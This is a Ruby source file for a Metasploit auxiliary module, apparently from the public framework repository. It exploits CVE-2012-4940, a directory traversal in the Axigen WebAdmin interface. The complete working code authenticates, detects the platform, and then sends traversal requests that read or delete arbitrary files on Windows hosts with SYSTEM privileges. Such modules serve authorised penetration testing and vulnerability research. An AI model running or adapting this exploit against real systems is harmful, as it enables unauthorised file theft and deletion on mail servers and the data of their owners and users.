Path: blob/master/modules/auxiliary/admin/http/axigen_file_access.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Axigen Arbitrary File Read and Delete',13'Description' => %q{14This module exploits a directory traversal vulnerability in the WebAdmin15interface of Axigen, which allows an authenticated user to read and delete16arbitrary files with SYSTEM privileges. The vulnerability is known to work on17Windows platforms. This module has been tested successfully on Axigen 8.10 over18Windows 2003 SP2.19},20'Author' => [21'Zhao Liang', # Vulnerability discovery22'juan vazquez' # Metasploit module23],24'License' => MSF_LICENSE,25'References' => [26[ 'US-CERT-VU', '586556' ],27[ 'CVE', '2012-4940' ],28[ 'OSVDB', '86802' ]29],30'Actions' => [31['Read', { 'Description' => 'Read remote file' }],32['Delete', { 'Description' => 'Delete remote file' }]33],34'DefaultAction' => 'Read',35'DisclosureDate' => '2012-10-31',36'Notes' => {37'Stability' => [OS_RESOURCE_LOSS],38'SideEffects' => [IOC_IN_LOGS],39'Reliability' => []40}41)42)4344register_options(45[46Opt::RPORT(9000),47OptInt.new('DEPTH', [ true, 'Traversal depth if absolute is set to false', 4 ]),48OptString.new('TARGETURI', [ true, 'Path to Axigen WebAdmin', '/' ]),49OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]),50OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),51OptString.new('PATH', [ true, 'The file to read or delete', '\\windows\\win.ini' ])52]53)54end5556def run57print_status('Trying to login')58if login59print_good('Login Successful')60else61print_error('Login failed, review USERNAME and PASSWORD options')62return63end6465@traversal = '../' * 1066file = datastore['PATH']67@platform = get_platform6869if @platform == 'windows'70@traversal.gsub!(%r{/}, '\\')71file.gsub!(%r{/}, '\\')72else # unix73print_error('*nix platform detected, vulnerability is only known to work on Windows')74return75end7677case action.name78when 'Read'79read_file(datastore['PATH'])80when 'Delete'81delete_file(datastore['PATH'])82end83end8485def read_file(file)86print_status('Retrieving file contents...')8788res = send_request_cgi(89{90'uri' => normalize_uri(target_uri.path, 'sources', 'logging', 'page_log_file_content.hsp'),91'method' => 'GET',92'cookie' => "_hadmin=#{@session}",93'vars_get' => {94'_h' => @token,95'fileName' => "#{@traversal}#{file}"96}97}98)99100if res && (res.code == 200) && res.headers['Content-Type'] && !res.body.empty?101store_path = store_loot('axigen.webadmin.data', 'application/octet-stream', rhost, res.body, file)102print_good("File successfully retrieved and saved on #{store_path}")103else104print_error('Failed to retrieve file')105end106end107108def delete_file(file)109print_status("Deleting file #{file}")110111res = send_request_cgi(112{113'uri' => normalize_uri(target_uri.path),114'method' => 'GET',115'cookie' => "_hadmin=#{@session}",116'vars_get' => {117'_h' => @token,118'page' => 'vlf',119'action' => 'delete',120'fileName' => "#{@traversal}#{file}"121}122}123)124125if res && (res.code == 200) && res.body =~ /View Log Files/126print_good("File #{file} deleted")127else128print_error("Error deleting file #{file}")129end130end131132def get_platform133print_status('Retrieving platform')134135res = send_request_cgi(136{137'uri' => normalize_uri(target_uri.path),138'method' => 'GET',139'cookie' => "_hadmin=#{@session}",140'vars_get' => {141'_h' => @token142}143}144)145146if res && (res.code == 200)147if res.body =~ /Windows/148print_good('Windows platform found')149return 'windows'150elsif res.body =~ /Linux/151print_good('Linux platform found')152return 'unix'153end154end155156print_warning('Platform not found, assuming UNIX flavor')157return 'unix'158end159160def login161res = send_request_cgi(162{163'uri' => normalize_uri(target_uri.path),164'method' => 'POST',165'vars_post' => {166'username' => datastore['USERNAME'],167'password' => datastore['PASSWORD'],168'submit' => 'Login',169'action' => 'login'170}171}172)173174if res && (res.code == 303) && res.headers['Location'] =~ /_h=([a-f0-9]*)/175@token = ::Regexp.last_match(1)176if res.get_cookies =~ /_hadmin=([a-f0-9]*)/177@session = ::Regexp.last_match(1)178return true179end180end181182return false183end184end185186187